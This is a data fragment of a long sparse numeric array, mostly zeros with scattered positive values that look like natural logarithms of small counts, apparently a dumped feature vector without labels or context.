0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, \n 2.6390573296152584, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 3.0841946160253877, 0, 0.0, 0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 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0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0, 0.0, \n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0,\n 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.6931471805599453, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 6.437751649736401, 0.0, 0.0, 0, 0.0, 0, 0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, \n 0.0, 0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0, 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0.0, 0.0, 0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 2.8398715690385097, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0, 0, 0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0,\n 5.723585101952381, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 2.550898738446989, 5.101797476893978, 0, 0, 0.0, 0.0, \n 0.0, 0.0, 0, 0.0, 3.8918202981106265, 0, 0, 0.0, 0, 0.0, 0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 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0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0,\n 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 3.1354942159291497,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 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0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0,\n 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 2.550898738446989, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 2.833213344056216, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 3.4011973816621555, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0,\n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 2.9957322735539913, 0.0, \n 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 2.302585092994046, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0,\n 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 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0.0, \n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, \n 0.0, 0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0,\n 0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0,\n 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, \n 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0,\n 0.0, 0.0, 0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0,\n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0, 0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0,\n 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0, 0.0, 0.0, 1.3862943611198906, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0,\n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0, 0, 0.0, 0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, \n 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0,\n 0, 0.0, 0.0, 0.0, 4.795790545596741, 0.0, 2.1972245773362196, 0, 0.0, \n 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 2.8398715690385097, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0, 0.0, \n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 1.9459101490553132, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0, \n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0, 0.0, 0.0, 0.0, 0.0, 0.0, 3.0910424533583156, 0.0, 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0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 4.581130849408909, 0.0, 0, 0.0, 0,\n 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, \n 1.7412592803704001, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, \n 2.302585092994046, 0, 0.0, 0, 5.723585101952381, 0.0, 0.0, 0, 0.0, 0.0,\n 0.0, 0, 0.0, 0, 0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, \n 3.2958368660043296, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 2.1972245773362196, 0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 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0.0, 0, 0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0,\n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0,\n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 2.1972245773362196, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 2.550898738446989, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0,\n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 4.394449154672439, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 1.6094379124341003, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, \n 0.0, 0.0, 0.0, 1.0986122886681098, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0, 0, 0, 0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0, 0.0,\n 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0, 0.0, 0.0, 0, 0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, \n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0,\n 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0, \n 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, \n 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, \n 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, \n 0.0, 0, 0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, \n 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 5.723585101952381, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0,\n 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0, 0, \n 1.9459101490553132, 0.0, 0.0, 0.0, 0, 0.0, 2.1972245773362196, \n 1.9459101490553132, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0,\n 0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0,\n 0.0, 0.0, 0.0, 0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0, 0, 0.0, 0.0, 0.0,\n 0.0, 0, 0, 0.0, 0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0, 0, 0, 0.0, 0.0, 0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, \n 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 